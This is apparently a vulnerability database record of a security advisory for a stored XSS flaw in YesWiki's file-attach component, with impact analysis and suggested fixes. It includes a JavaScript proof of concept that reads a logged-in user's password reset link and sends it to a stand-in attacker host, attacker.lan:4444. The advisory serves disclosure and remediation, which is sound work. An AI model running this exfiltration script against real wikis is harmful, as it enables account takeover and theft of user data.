{"id":"GHSA-w59h-3x3q-3p6j","aliases":["CVE-2025-24018"],"title":"Authenticated Stored XSS in YesWiki","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"# Authenticated Stored XSS in YesWiki <= 4.4.5\n\n### Summary\nIt is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. \n\nThis part of the code is managed in `tools/attach/libs/attach.lib.php` and the faulty function is **[showFileNotExits()](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/attach/libs/attach.lib.php#L660)**.\n\n```php\npublic function showFileNotExits()\n{\n echo 'wiki->href('upload', $this->wiki->GetPageTag(), \"file=$this->file\") . '\" class=\"btn btn-primary\"> ' . _t('UPLOAD_FILE') . ' ' . $this->file . '';\n}\n```\n\nThe file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.\n\n### PoC\n#### 1. Simple XSS\nHere is a working payload `{{attach file=\"\" desc=\"\" size=\"original\" class=\" whiteborder zoom\" nofullimagelink=\"1\"}}` tha works in pages and comments:\n\nOn a comment:\n\n\n\n\n\nOn a page:\n\n\n\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch('/?ParametresUtilisateur')\n .then(response => {\n return response.text();\n })\n .then(htmlString => {\n const parser = new DOMParser();\n const doc = parser.parseFromString(htmlString, 'text/html');\n const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty\n fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));\n })\n```\n\nPosting a comment using this specially crafted payload with a user account:\n\n\n\nAllows our administrator account's password reset link to be sent to the listener of the attacker:\n\n\n\n\nTherefore giving us access to an successful password reset for any account triggering the XSS:\n\n\n\n### Impact\nThis vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the filename attribute\n\n```php\npublic function showFileNotExits()\n{\n $filename = htmlspecialchars($this->file);\n echo 'wiki->href('upload', $this->wiki->GetPageTag(), \"file=$filename\") . '\" class=\"btn btn-primary\"> ' . _t('UPLOAD_FILE') . ' ' . $filename . '';\n}\n```\n\n- Implement a stronger password reset mechanism through:\n + Not showing a password reset link to an already logged-in user. \n + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n> The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.","severity":"high","score":7.6,"published":"2025-01-21T20:10:49.000Z","modified":"2026-09-10T03:50:22.257Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","sources":[{"name":"OSV ยท GHSA-w59h-3x3q-3p6j","url":"https://osv.dev/vulnerability/GHSA-w59h-3x3q-3p6j"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"4.5.0"}],"type":"ECOSYSTEM"}],"versions":["4.2.3","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5"],"fixed":["4.5.0"]}],"sourceAffected":[],"references":["https://github.com/YesWiki/yeswiki/security/advisories/GHSA-w59h-3x3q-3p6j","https://nvd.nist.gov/vuln/detail/CVE-2025-24018","https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b","https://github.com/YesWiki/yeswiki","https://github.com/YesWiki/yeswiki/blob/v4.4.5/tools/attach/libs/attach.lib.php#L660"],"sources":[{"name":"OSV","id":"GHSA-w59h-3x3q-3p6j","modified":"2026-09-10T03:50:22.257399953Z","url":"https://osv.dev/vulnerability/GHSA-w59h-3x3q-3p6j"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L","score":7.6}],"products":[],"remediation":[],"kev":{"status":"not-listed","checkedAt":"2026-10-28T23:25:34.350Z"},"coverage":[{"source":"NVD","status":"not-checked"},{"source":"GHSA","status":"not-checked"},{"source":"EUVD","status":"not-checked"},{"source":"EPSS","status":"not-checked"}],"evidence":[]}